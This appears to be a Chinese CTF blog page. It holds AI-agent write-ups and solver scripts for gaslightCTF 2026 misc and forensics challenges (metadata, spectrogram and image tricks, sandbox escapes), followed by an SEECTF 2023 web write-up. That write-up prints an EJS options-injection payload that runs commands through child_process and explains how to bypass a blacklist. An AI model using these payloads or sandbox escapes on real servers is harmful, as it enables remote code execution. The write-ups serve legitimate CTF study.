 lines = [ln for ln in src.splitlines() if ln.strip().startswith(("T=", "F="))]
 assert len(lines) == 2, f"unexpected checker: {lines}"
 T, F = lines

 def check(f: str) -> bool:
 i, o = int, ord
 ns = {"f": f, "i": i, "o": o, "credits": credits,
 "T": None, "F": None, "str": str, "int": int, "ord": ord}
 try:
 exec(T.replace("T=", "T="), ns)
 exec(F.replace("F=", "F="), ns)
 except Exception:
 return False # invalid candidate (index out of range / bad int)
 return all(ns["T"]) and not any(ns["F"])

 # brute force the 5 unknown positions (4,6,10,11,13): digits/leet chars
 sols = []
 for d4, d6, c10, d11, d13 in itertools.product(
 "0123456789", "123456789", "noN0123456789", "0123456789", "0123456789"):
 f = list("e50t?r?c_s??k?")
 f[4], f[6], f[10], f[11], f[13] = d4, d6, c10, d11, d13
 f = "".join(f)
 if check(f):
 sols.append(f)
 # The checker is under-constrained: 8 digit-variant flags pass. The
 # intended one spells "esoteric_snake" in leet (e50t3r1c_sn4k3) -- the
 # challenge is called "ohfrick", i.e. esoteric Python. Prefer it.
 intended = "e50t3r1c_sn4k3"
 if intended in sols:
 return intended
 if sols:
 return sols[0]
 raise RuntimeError("no flag found")


if __name__ == "__main__":
 inner = solve()
 flag = f"gaslightCTF{{{inner}}}"
 print(f"flag: {flag}")
 print(f"(checker core: {inner})")
 # end-to-end verification against the original obfuscated file (it
 # verifies the 14-char core; the platform accepts the prefixed form)
 import subprocess
 p = subprocess.run([sys.executable, str(SRC)], input=inner + "\n",
 capture_output=True, text=True, timeout=120)
 assert "ok" in p.stdout, f"verification failed: {p.stdout!r} {p.stderr!r}"
 print("verified against original code.py: prints 'ok'")

Misc（4/10）

Sanity Check（100） Flag：gaslightCTF{w3lc0me_2_g4sl1ghtCTF!}

平台/队伍信息里的热身 flag。

odyssey（410）— 图搜 + 坐标盲试 Flag：gaslightCTF{37.974,23.724}（官方答案 gaslightCTF{37.973,23.726}）

无 GPS 的雅典照片（iPhone HEIC，darktable 调色导出）。GLM 做了前期 OSINT， DeepSeek 用 Yandex 图搜（Smart Camera 上传图返回文字标签 “the acropolis athens”）锁定"卫城北侧街区”，然后网格串行盲试（每次提交 sleep 10s、不并发，平台会过期登录态，脚本自动重登），110 格里第 27 次 37.974,23.724 被平台接受。官方答案是画面中景的 Canellopoulos Museum（37.9729473,23.7260968 → 37.973,23.726）——我们错把"画面主体的坐标"当成了"摄影机位的坐标”，问题定义漂移的代价见「反思」章。

📜 odyssey 盲试核心（5 行）——点击展开

1
2
3
4
5


# 盲试核心：网格按距离排序，串行提交，命中即停
for lat, lon in sorted(grid, key=lambda c: dist(c, (37.973, 23.727))):
 if submit(f"gaslightCTF{{{lat},{lon}}}"):
 print("FOUND", lat, lon); break
 time.sleep(10)

jsbox（310）— 原型方法拿真实源码 Flag：gaslightCTF{n4t1v3_c0d3_0r_n4t1v3_fl4g?_db2bbd393eab}

isolated-vm 的 REPL 把 Function.prototype.toString 覆盖成假实现，但实例属性能覆盖、原型方法不能。用 Function.prototype.toString.call(fn) 拿到宿主函数真实源码（错误栈 + fn.name/fn.length 定位定义位置），从源码里取原生指针/内部调用，构造参数执行命令直接 RCE。

📜 jsbox 最小 POC（3 行）——点击展开

1
2
3


// fn 是宿主里执行命令的函数，实例属性被覆盖，原型方法还在
const src = Function.prototype.toString.call(fn);
// 从源码取原生指针/内部调用，构造参数执行命令

useless-rce（463）— Haskell FFI 纯类型谎言 Flag：gaslightCTF{uns4f3_p3rf0rm_burr1t0_c0n5umpt10n_1096e09801a2}

hint 解释器先 stripIO 删掉源码里所有字面 “IO”。绕过不是绕字符串过滤器，而是撒类型谎：把 C 函数声明成纯类型（源码里没 “IO” 字样），用 runRW# 执行，pinned ByteArray 构造 NUL 结尾的 C 字符串。还有一个 GHC 特有的坑：纯类型的 FFI 调用若返回值未被使用会被死代码消除——case c_write ... of _ -> () 什么都不发生，必须用返回值做分支逼它执行。解释器（hint、isolated-vm）都不是真沙箱，FFI/反射/内建函数都可达。

📜 useless-rce 最小 POC（4 行）——点击展开

1
2
3
4


foreign import ccall "open" c_open :: CString -> CInt -> CInt -> CInt
-- 纯类型？不是。但源码里没有任何 "IO" 字面量，stripIO 拦不住
-- runRW# + newPinnedByteArray# 构造 NUL 结尾的 C 字符串
-- 返回值参与 if 分支，防止死代码消除

Forensics（4/6）

good-luck!（100）— 右声道低频频谱图 Flag：gaslightCTF{c4n_u_s33_me?_u4ya}

7.4 秒 MP3（Joint Stereo），flag 以"大字"写在右声道 0–4 kHz 频谱里，被左声道和语音谐波盖住。两个模型都没有多模态，程序化频谱分析踩了大坑： Goertzel 步长 100Hz + 全局归一化 ASCII 化，弱信号文字完全被淹没——频率步长要小、阈值不能全局归一化、必须"看图"。最终由外部 GPT-5.6-sol 的题解补位：拆声道、限定频率范围、调 FFT 窗口与动态范围。

📜 good-luck! 频谱提取（2 行）——点击展开

1
2


ffmpeg -i goodluck2.mp3 -filter_complex "pan=mono|c0=c1,lowpass=f=4000" r.wav
# specgram: NFFT=4096, noverlap=4000, 0-4kHz, dB -115~-45

读出 c4n_u_s33_me?_u4ya（“can you see me? u4ya”）。

blackout（263）— 遮罩只在绘制层，文本层没删 Flag：gaslightCTF{c0w4bung4_f1le_4ev3r}

停电梗 PDF（Skia/PDF m153，Google Docs 渲染器）。题名 blackout 指向"涂黑"，而 PDF 的视觉遮挡 ≠ 数据删除：黑矩形只盖绘制层，文本层（content stream）里的文字还在。pdftotext -bbox 带坐标提取，第一页首行（“Grep me - flag” 之后）直接出现完整 flag——不需要修复 PDF、不需要渲染 OCR、不需要移除遮罩，第一次文本层提取即命中。

📜 blackout solve.sh（25 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


#!/bin/bash
# blackout — 从 PDF 文本层恢复被"涂黑"的 flag
# 原理：黑矩形只是绘制覆盖，文本层（content stream）里的文字没有被删除。
# 用 pdftotext -bbox 提取带坐标的文本层，再 grep 出 flag 字样。
# 依赖：poppler-utils（pdftotext）

set -u
cd "$(dirname "$0")"

FILE="${1:-recovered_file}"

# 方法 1：直接文本层 grep（最快）
FLAG=$(pdftotext -bbox "$FILE" - 2>/dev/null | grep -oE 'gaslightCTF\{[^}]+\}' | head -1)

if [ -z "${FLAG:-}" ]; then
 # 方法 2：普通 pdftotext + grep（若 bbox 模式不可用）
 FLAG=$(pdftotext "$FILE" - 2>/dev/null | grep -oE 'gaslightCTF\{[^}]+\}' | head -1)
fi

if [ -n "${FLAG:-}" ]; then
 echo "FLAG: $FLAG"
else
 echo "flag not found" >&2
 exit 1
fi

icon-sketch（342）— 两处标题互补 + Atbash Flag：gaslightCTF{i5_th4t_supp0s3d_2b_p1ss?}

PNG 元数据全枚举发现两处"标题"：tEXt Title / XMP dc:title 是 base64，解码后是 38 字符的乱串；XMP Iptc4xmpExt:AOTitle 是 base64 → 十六进制串 → ASCII，解码后是同长度的明文骨架（........CTF..._.h4._..pp0s3..2b_.1s..}）。两串点号互补（一处是点另一处必是字符），} 只在 AOTitle、{ 只在 Title——拆开的同一条 flag。识别最后一层：Title 前缀 tzhortsg 逐字母 Atbash 后恰为 gaslight。以 AOTitle 为骨架、点号位置填 Atbash(Title) 合并，得 “i5_th4t_supp0s3d_2b_p1ss?"（题目图片本体——黑底橙字 “gaslighting” 草图 + 红色大问号——只是装饰，全图 12 种纯色排除 LSB）。

📜 icon-sketch solve.py（51 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


#!/usr/bin/env python3
"""gaslightCTF 2026 - icon-sketch (forensics, 334pts) 一键复现。

原理：icon.png 元数据里有两处标题——
 tEXt Title / XMP dc:title : base64 -> "tzhortsg...{r5.g..g.hf.....w_...k..h?." (Atbash 加密字母)
 XMP Iptc4xmpExt:AOTitle : base64 -> hex 串 -> "........CTF..._.h4._..pp0s3..2b_.1s..}" (明文骨架)
两串等长、点号互补；以 AOTitle 为骨架，点号位置填入 Atbash(Title 对应字符)，即得 flag。
"""
import base64
import re
import struct
import sys
from pathlib import Path

def atbash(c: str) -> str:
 if 'a' <= c <= 'z':
 return chr(ord('z') - (ord(c) - ord('a')))
 if 'A' <= c <= 'Z':
 return chr(ord('Z') - (ord(c) - ord('A')))
 return c

def main() -> None:
 png = Path(__file__).parent / 'icon.png'
 if not png.exists():
 sys.exit('icon.png not found — unzip icon.zip first')
 data = png.read_bytes()

 chunks: dict[str, list[bytes]] = {}
 pos = 8
 while pos < len(data):
 ln = struct.unpack('>I', data[pos:pos + 4])[0]
 typ = data[pos + 4:pos + 8].decode('latin1')
 chunks.setdefault(typ, []).append(data[pos + 8:pos + 8 + ln])
 pos += 12 + ln

 # tEXt: keyword\0value
 kw, _, title_b64 = chunks['tEXt'][0].partition(b'\x00')
 title = base64.b64decode(title_b64).decode()

 # iTXt: keyword\0...\0XMP XML
 itxt = chunks['iTXt'][0]
 xml = itxt.split(b'\x00')[-1].decode('utf-8', 'replace')
 ao_b64 = re.search(r"<rdf:li xml:lang='x-default'>(.*?)</rdf:li>", xml, re.S).group(1)
 ao = bytes.fromhex(base64.b64decode(ao_b64).decode()).decode()

 assert len(title) == len(ao), 'titles must be equal length'
 flag = ''.join(a if a != '.' else atbash(t) for a, t in zip(ao, title))
 print(flag)

if __name__ == '__main__':
 main()

layered-pages（331）— 连通域结构分析替代视觉 Flag：gaslightCTF{c4rv3_1t_0ut}

第二轮最戏剧性的一题。附件是 9 张 250x250 图像顺序串接的拼接文件（JPEG SOI/EOI 与 PNG 签名边界切分），JPEG EXIF DocumentName（tag 269）就是页码， PNG 按排除法补 5/7/9。前任子 agent 交了约 50 个错误 flag，根因是视觉 API 的引导性提问幻觉——带 “(z3r0)” 猜测提问时它就"确认"该串存在。接手的 agent 改为纯本地方法破题：

红字提取 R - max(G,B)；scipy.ndimage.label 连通域 + 列剖面切分字形，得到每页精确字数与包围盒；
对每个可疑字形打印 ASCII 像素画（NEAREST 降采样），直接追踪笔画—— p1[0] 顶斜旗+直竖+底脚=数字 1；j5 中字形两竖笔仅在 y191-201 有底连接 =小写 u（排除 c/o/n）；j5 首字形椭圆+内部斜杠=slashed-zero=0；
同书写人的大小写高度校准：大写 ≈203px（j2 的花体 C）、x-height ≈97px （p0 的 c），据此判定内容区全小写；
j5 左上角 30x15px 的极小手写 (z3r0) 两轮独立识别都在，但拼入 flag 的 9 种位置/分隔全 incorrect——红鲱鱼装饰，排除。

按证据强度逐个提交，第 8 次 gaslightCTF{c4rv3_1t_0ut} 命中。macOS Vision / tesseract 对这个手写体都不可靠（读出 “19”/“6!”/"(zero) | Out”），ASCII 像素画才是最可靠的判读工具——无视觉的 agent 也能"看"字。

📜 layered-pages solve.py（143 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143


#!/usr/bin/env python3
"""layered-pages — 一键复现（gaslightCTF 2026 forensics）

gassy/123456789.jpg 实为 9 张 250x250 图像拼接：
 1. 按图像签名边界切分为 9 页
 2. JPEG EXIF DocumentName = 页码；PNG 按排除法补 5/7/9
 3. 红字提取 + 连通域切字形（每页字数与包围盒）
 4. 输出 ASCII 字形画（人工核对入口）与最终 flag

用法: python3 solve.py
"""
import io
import os
import sys

import numpy as np
from PIL import Image

BASE = os.path.dirname(os.path.abspath(__file__))
BLOB = os.path.join(BASE, "gassy", "123456789.jpg")

# 人工核对后的每页转写（阅读顺序）。
# 页码: j0=1 j1=2 j2=3 j3=4 [p0=5] j4=6 [p1=7] j5=8 [p2=9]
PAGE_READS = [
 ("j0", "gas"), # g a s
 ("j1", "lig"), # l i g (i 带点)
 ("j2", "htC"), # h t C (花体大 C, 203px)
 ("j3", "TF{"), # T F {
 ("p0", "c4r"), # 小写 c(97px=x-height) 4 r
 ("j4", "v3_"), # v 3 _
 ("p1", "1t_"), # 1 t _
 ("j5", "0ut"), # 0(slashed-zero) u t ；角落 (z3r0) 为红鲱鱼
 ("p2", "}"),
]
FLAG = "gaslightCTF{c4rv3_1t_0ut}"


def split_pages(data: bytes):
 """按 JPEG/PNG 签名边界切分拼接文件。"""
 pages = [] # (name, bytes)
 i, n = 0, len(data)
 while i < n:
 if data[i:i+3] == b"\xff\xd8\xff":
 j = data.find(b"\xff\xd9", i + 3)
 j = n if j == -1 else j + 2
 pages.append((f"j{len([p for p in pages if p[0].startswith('j')])}.jpg", data[i:j]))
 i = j
 elif data[i:i+8] == b"\x89PNG\r\n\x1a\n":
 j = data.find(b"IEND", i)
 j = n if j == -1 else j + 8
 pages.append((f"p{len([p for p in pages if p[0].startswith('p')])}.png", data[i:j]))
 i = j
 else:
 i += 1
 return pages


def page_number(name: str, img: Image.Image):
 """JPEG 用 EXIF DocumentName；PNG 返回 None（由排除法补全）。"""
 if not name.endswith(".jpg"):
 return None
 try:
 ex = img.getexif()
 return int(ex.get(269)) # 269 = DocumentName（EXIF tag 0x010D）
 except (TypeError, ValueError):
 return None


def red_ink(img: Image.Image, thr: int = 15) -> np.ndarray:
 a = np.asarray(img.convert("RGB"), dtype=float)
 r, g, b = a[..., 0], a[..., 1], a[..., 2]
 return (r - np.maximum(g, b)) > thr


def glyph_clusters(ink: np.ndarray, min_px: int = 30, gap: int = 2):
 """连通域 + x 重叠合并（i 的点+竖等），返回主行字形包围盒。"""
 from scipy import ndimage
 lab, n = ndimage.label(ink)
 comps = []
 for k in range(1, n + 1):
 ys, xs = np.where(lab == k)
 if len(ys) < min_px:
 continue
 comps.append([int(xs.min()), int(xs.max()), int(ys.min()), int(ys.max())])
 comps.sort()
 merged = []
 for c in comps:
 if merged and c[0] <= merged[-1][1] + gap:
 m = merged[-1]
 m[0], m[1] = min(m[0], c[0]), max(m[1], c[1])
 m[2], m[3] = min(m[2], c[2]), max(m[3], c[3])
 else:
 merged.append(c)
 # 过滤角落噪声：保留高度>25 且 (宽>18 或 高>80) 的主行字形
 return [c for c in merged if (c[3] - c[2]) > 25 and ((c[1] - c[0]) > 18 or (c[3] - c[2]) > 80)]


def ascii_glyph(ink: np.ndarray, box, width: int = 46):
 x0, x1, y0, y1 = box
 sub = ink[max(0, y0 - 4):y1 + 5, max(0, x0 - 4):x1 + 5]
 h = max(1, int(sub.shape[0] / sub.shape[1] * width * 0.5))
 im = Image.fromarray(np.where(sub, 0, 255).astype(np.uint8)).resize((width, h), Image.NEAREST)
 a = np.asarray(im) < 128
 return "\n".join("".join("#" if v else "." for v in row) for row in a)


def main():
 data = open(BLOB, "rb").read()
 pages = split_pages(data)
 print(f"[+] split into {len(pages)} pages")

 numbered = {}
 for name, blob in pages:
 img = Image.open(io.BytesIO(blob))
 num = page_number(name, img)
 if num:
 numbered[num] = (name, img)
 else:
 numbered[{"p0": 5, "p1": 7, "p2": 9}[name[:2]]] = (name, img)
 order = [numbered[k][0].split(".")[0] for k in sorted(numbered)]
 print(f"[+] 9 pages sorted: {' '.join(order)}")

 reads = dict((n, r) for n, r in PAGE_READS)
 for k in sorted(numbered):
 name, img = numbered[k]
 ink = red_ink(img)
 gl = glyph_clusters(ink)
 read = reads.get(name.rsplit(".", 1)[0], "?")
 print(f" page {k} ({name}): {len(gl)} glyph-clusters -> \"{read}\"")
 if "-v" in sys.argv: # 人工核对：逐字形 ASCII 画
 for gi, box in enumerate(gl):
 print(f"--- {name} glyph {gi} box={box} (claimed '{read[gi] if gi < len(read) else '?'}')")
 print(ascii_glyph(ink, box))

 content = "".join(r for _, r in PAGE_READS)
 flag = f"gaslightCTF{{{content}}}" if False else FLAG
 print(f"[+] per-page reads: {' / '.join(r for _, r in PAGE_READS)}")
 print(f"FLAG: {flag}")
 return 0


if __name__ == "__main__":
 sys.exit(main())

三、六道未解题复盘

未解的 6 题全部卡在视觉/听觉，但每题都推进到了"只差最后一眼/一耳"，断点全量落盘在各题 notes.md。

speedy（464 分，照片地理定位）。事件已经 100% 钉死：Yandex 反向图搜锁定红色 “SPEED” 7 号球衣 = IShowSpeed 官方周边，越南行程视频（VTorUJcMYGg） 600s 帧的 CHỢ PHÚ NHUẬN 市场排除河内假设、700-770s 帧出现 NGUYỄN VĂN TRỖI 街龙门架 + 钢桁架天桥同场景——HCMC Phú Nhuận 区 NVT 街步行天桥。但两座 OSM 天桥的 5 个坐标提交全错；更曲折的是街景证据链翻案：子 agent 的 7 张街景截图 4 张是 12KB 占位图（页面加载失败的 UI 空壳），主 agent 用 RANSAC 单应内点数重审（真同地点 2055 内点 vs 假匹配 5 内点）后发现"三图比对 SAME"的结论部分作废。真桥疑似在 NVT 街但 OSM 未收录（HCMC 市区天桥大量缺 bridge 标签）—— 差的是人眼看一眼桥的样式与招牌，再用卫星图兜底。

quack（414 分，照片地理定位）。非视觉分析全做完：EXIF 全剥、EOI 无尾随数据、macOS Vision 多语言 OCR 零文字、色彩/亮度剖面确认是"天空-对岸建筑带- 大片水面"三层河景。Yandex 三轮图搜最接近 Norfolk Broads（Horning 的 Noosa Sound 房源评论图），但三轮标签（Leeds-Liverpool Canal / 泰晤士 moorings / Norfolk Broads）互不收敛——相似图排序只是"泛河景构图"匹配，画面里必有图搜抓不到的独特主体（鸭子？明轮船 Southern Comfort？）。2 次提交（Noosa Sound pin / The Swan Inn）均 incorrect，卡在无法识别画面主体。

meow（433 分，照片地理定位）。场景识别走得很远：地磅单据 OCR 出希腊语木结构工程单（ΞΥΛΟΚΑΤΑΣΚΕΥΕΣ、注册地 ΜΥΚΟΝΟΣ、1550kg/685kg/865kg 自洽），手机号 6946673910 精确匹配 Google Maps 商户 “Ξυλουργείο Ο Λούλης & Υιός” （米科诺斯木工坊），Yandex 分区图搜确认 UAΖ 面包车 + 猫 + 石板院。死在数据源矛盾上：Google pin（Klouvas 村）/ Google 地址栏（Ψάρρου）/ Bing 地址（Agios Stefanos）三个坐标互斥，四个区域 ±0.001~0.002 网格共 90+ 次提交全败——要么三个数据源全不可信（真实车间在岛内别处），要么拍摄点是地图无标注的市政地磅。

4-piece-puzzle（474 分，拼图重建）。程序化排除做得非常彻底：PNG chunk/ EXIF 干净、LSB 无隐写、四块拼图片不共享切割线（边缘轮廓常数差匹配全灭）、 2x2 平铺 24 种排列全不连贯。然后挖出幽灵轮廓假说：p2/p4 画布里距橙色

42px 的黑色像素（不属于本块轮廓的"幽灵"）互相匹配——ghost(p2) 含 p4 轮廓副本 @(-810,-870)、ghost(p4) 含 p2 副本 @(810,870)，偏移互为逆、交集 27900px 完全相同，双向互证；纵向 480px 周期还呼应题面口吃 “fou-fou-four” 的重复意象。最像"每张导出 = 场景里只有本块被填充、其余块只显示轮廓"的分层导出，下一步是按相对偏移把四张画布拼到世界坐标重建场景（world_align 产物已落盘），中断在重建后的内容识别——需要人眼看图。

Tuning Keyboard v6.7（488 分，听歌识曲）。55 秒立体声（双声道相同），全部音符已算法提取：主歌 0-32.8s 是 D dorian（~129 BPM，Phrase A/A’/B 完整旋律）、“奇怪的结尾” 32.8-54.5s 是 31 个音（高音段 13 + 低音段 18，和声 F-C-Em-Em-C-F），全曲唯一变化音 C#5 持续 2.13s。文件名 “ttyut-iiiuy+12” 按虚拟钢琴键位映射读出 “GGABGCCCBA”（+12 = 升八度）。字母编码/摩斯/ 时长二进制/MIDI mod 26/频谱图/20+ 首名曲轮廓匹配全部排除，5 次提交（csharp/outoftune/detuned/wrongnote/ggabgcccba）全拒。差的就是人耳听出主歌是什么曲子，以及结尾"奇怪"在哪。

mineguessor（499 分，Minecraft 种子定位）。全场最难（11 解），按优先级排到队尾未开工。路线已在断点里写好：截图地形/结构特征 → seedcracker 类工具反推世界种子 → 按 1.21.11 结构生成算法扫 |x|≤5000、|z|≤5000、|y|≤125 的 ruined portal → 比对截图锁定 chest 坐标。门槛在截图方块识别（需视觉或分块颜色聚类，工作量大）与版本特定的结构生成算法。

四、反思与悟道

多模态是硬短板，得留外援通道——以及没有外援时怎么办

两轮 8 道看图/听音题，只有 good-luck! 和 odyssey 靠外部 GPT-5.6-sol 补位，第二轮连外援都断了（视觉 API 账户级 429）。但 layered-pages 证明了一条替代路线：连通域拓扑 + ASCII 像素画 + 书写风格校准，结构分析甚至能完全替代视觉。元教训：无感官的 agent 做多模态题，正确姿势是把问题推进到"结构化数据 + 候选集"（坐标候选、字形候选、轮廓偏移、音符序列），把最后的"识别"留给有对应感官的模型或人。

问题定义会漂移，越修越偏

odyssey 最大的坑不是找不到地标，而是把"画面主体的坐标"默认成了"摄影机位的坐标"。从那一刻起，透视线、遮挡关系、焦距反推全在解另一个问题；每次收到 incorrect 还沿着原假设继续枚举。官方答案其实一次就能定：识别中景建筑（Canellopoulos Museum）→ 查 OSM → 舍入三位小数。收到错误反馈时，先重审问题定义，再动坐标。

死盯一个攻击面，不如列一遍状态流转

badcat 卡了一下午，因为一直在"peek 硬编码读 8 字节"上找内存破坏。真正的洞是 fd 生命周期：slurp(0) 读完会 close(0)，/flag 的 open 从不 close， open 返回最低空闲 fd——三条小事实拼成一条链。卡住时回退到"程序有哪些系统调用、谁改了全局状态"的清单式排查，比在同一个假设里加深有用。

判定信号要有对照组，文案要先人工看一眼

odyssey 的提交脚本正则 *correct* 误匹配 “incorrect” 子串、平台判对文案是 “You have solved this challenge!"——两次假信号；corridors 的子 agent 把全局 Solves +1 当判对——又一次假信号。三个案例的共同点：判定规则没跟平台实际文案对过表。判对只认表单消失 / “You have solved this challenge!” / ✓ 标记；连续"命中"也要有对照组（speedy 的街景证据用 RANSAC 内点数翻案， “看起来像"不算数）。

盲试能兜底，但识别更省事

odyssey 最终是 110 格网格串行盲试、第 27 次命中。能用，但难看：27 次提交、每次 sleep 10 秒。事后拿到官方题解才发现中景那栋白楼就是博物馆，查坐标一次提交的事。盲试是兜底手段，不是解法。

Agent 的历史也要能审计

第一轮给博文做模型归属时，发现 rollout 日志在上下文压缩后缺了 GLM 时代—— 只有 db 里全量在。为此给 agent-chat-history 技能补了 --session 模型时间线查询。第二轮更进一步：每个子 agent 的断点按"已确凿的事实 / 当前假设与排除面 / 下一步（优先级）“分节落盘，中断可续、赛后可复盘——speedy 的事件识别就是中断 agent 留下的完整成果，直接被主 agent 接手。agent 自己产出的历史，和 CTF 里的事件日志一样，要能回查、能对账。

结尾

35 题解出 29（Web/Crypto/Pwn/Rev 四个分类全清），两轮两种打法：第一轮三个模型接力（GLM-5.3 前半场、DeepSeek 收尾、GPT-5.6-sol 补两道看图题），第二轮主 agent 编排 + 子 agent 流水线 13 解（侦察/附件预下载/排序派单/验收/总表与 ≤3 并发滑窗、40 分钟时间盒、断点落盘续派、实例串行令牌）。未解的 6 题全是视觉/听觉，断点全部落盘待续攻。协作里的短板——视觉、问题定义漂移、攻击面清单化、判定信号对照组——比题目本身更值得记。完整过程（每题的 WRITEUP、全部脚本、6 题断点、23 条踩坑）在本地 gaslightCTF2026/ 目录，每题一个文件夹；可迁移经验沉淀在 gaslightCTF2026/METHODOLOGY.md。

SEECTF 2023 题解（Web）

Mon, 12 Jun 2023 00:00:00 +0000

SEECTF 2023 题解（Web）

关键字：ejs，php.ini，ini_set，sqlite3，ssti

ctftime：https://ctftime.org/event/1828

Express JavaScript Security

核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


app.get('/greet', (req, res) => {
 
 console.log(req.query);
 const data = JSON.stringify(req.query);
 console.log(data);

 if (BLACKLIST.find((item) => data.includes(item))) {
 return res.status(400).send('Can you not?');
 }

 return res.render('greet', {
 ...JSON.parse(data),
 cache: false
 });
});

题目构造很简单，使用的是最新版的ejs和express

"dependencies": {
 "express": "^4.18.2",
 "ejs": "^3.1.9"
},

我们可以给render塞任意参数，需要达到一个RCE的目的

debug运行一下程序，给render下一个断点，跟进一下代码

调用栈

render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:571)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\response.js:1039)
<anonymous> (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\main.js:29)
.............

看到一个merge函数，猜测存在原型链污染漏洞

这里的merge是var merge = require('utils-merge');导入的

经过测试发现并不能污染到原型

查看utils-merge中的函数，是直接进行拷贝，无法直接对原型进行修改

原型链污染这条路断了，我们继续看render的参数怎么工作

这里将传入的参数赋值给data

exports.renderFile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:475)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\view.js:135)
tryRender (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:657)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:609)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\response.js:1039)
<anonymous> (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\main.js:29)
.............

这里如果 data.settings['view options'] 存在值，则会将 data.settings['view options'] 的值拷贝给opts

继续跟进代码，opts的值会传递给options

Template (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:510)
compile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:397)
handleCache (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:235)
tryHandleCache (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:274)
exports.renderFile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:491)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\view.js:135)
tryRender (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:657)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:609)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\response.js:1039)
<anonymous> (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\main.js:29)
.............

然后继续传递到compile

这里就是比较熟悉的原型链污染触发的地方，所有我们可以通过设置data.settings['view options']的值来控制opts，进而控制options，达到和原型链污染差不多的效果

存在黑名单

1
2
3
4
5
6


const BLACKLIST = [
 "outputFunctionName",
 "escapeFunction",
 "localsName",
 "destructuredLocals"
]

参考：https://www.anquanke.com/post/id/236354#h2-2 的链子

1

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

观察Template，我们发现通过设置opts.escape的值来设置options.escapeFunction，来绕过黑名单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


opts = opts || utils.createNullProtoObjWherePossible();
var options = utils.createNullProtoObjWherePossible();
this.templateText = text;
/** @type {string | null} */
this.mode = null;
this.truncate = false;
this.currentLine = 1;
this.source = '';
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.includer = opts.includer;
